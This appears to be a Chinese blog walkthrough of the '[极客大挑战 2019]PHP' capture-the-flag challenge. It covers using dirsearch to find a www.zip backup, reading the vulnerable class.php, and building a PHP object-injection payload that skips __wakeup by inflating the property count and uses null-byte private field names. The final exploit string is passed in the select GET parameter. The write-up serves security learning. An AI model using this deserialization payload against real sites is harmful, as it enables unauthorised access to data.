[极客大挑战 2019]PHP1

1. 进去发现网页做的挺有意思的,是一张用毛线球逗猫的网页,尝试老办法单击右键查看源代码,无果(因为没有),于是仔细观察网页,发现关键信息---备份网页

 2. 发现文件备份,所以准备把网站的目录给爆破出来,使用dirsearch

3. dirsearch的下载、安装以及使用

下载地址

https://github.com/maurosoria/dirsearch

点击Download here

之后将下载的文件压缩放在自己想放在的地方(为了方便,我选择把它放在桌面上)

注意,安装的python得是3.7及其以上版本(没有python的先安装python)

 

之后在当前窗口(你的dirsearch文件)直接输入cmd

接着使用命令安装dirsearch

 pip3 install -r requirements.txt

可能会出现以下错误提示

上面指出应该给pip3升级,所以我们根据提示给pip3进行升级

python -m pip install --upgrade pip

pip3更新成功,出现successful字样,之后继续进行dirsearch安装代码

pip3 install -r requirements.txt

可能还会出现

解决办法,关闭代理服务器,然后再执行dirsearch安装命令

 pip3 install -r requirements.txt

可喜可贺,dirsearch安装成功

4. 使用爆破工具dirsearch下载网页目录得到正确的压缩安装包,找到代码进行分析

python dirsearch.py -u (自己需要爆破的网址) -e (语言)

5. 出现一大堆各种各样文件,就算知道常用压缩文件名以及压缩文件名后缀也无法快速找出,这时,不妨来设计一段python代码,让符合常用压缩文件名和文件名后缀的文件在网址中遍历,最终只会得到一个可以访问网址的文件

注意,由于代码判断需要requests库,所以要进行安装

pip install requests

发现只有www.zip进行成功访问

6. 在原网址后面加上www.zip下载压缩包

对压缩包进行解压

7. 发现一个flag.php文件,打开

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

输入flag,发现是错误的

8. 打开index.php文件看看

发现一段php代码

里面加载了一个class.php文件,然后采用get传递一个select参数,随后将之反序列化

8. 接着打开class.php文件

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}

 如果password=100,username=admin,在执行__destruct()的时候可以获得flag,所以我们需要达成这些要求

 9. 构造序列化

在代码后面加上


<?php

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));

?>

 10. 通过warmserver服务器运行得(可以在PHP菜鸟教程了解)

我将序列化后的文件class.php放在warmsecer文件下新建的class文件下,在浏览器上访问得

 11. 又因为在反序列化的时候,要执行_wakeup()魔方函数,导致username=guest

 

function __wakeup(){
        $this->username = 'guest';
    }

 所以我们要要绕过这个函数,则让name大于2即可

于是得

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

 12. 又因为,username为private

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度

所以得

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

 13. 最后又发现index.php中get  select

所以在网址后加上

select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

就可以得到flag

 

 

 

 

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值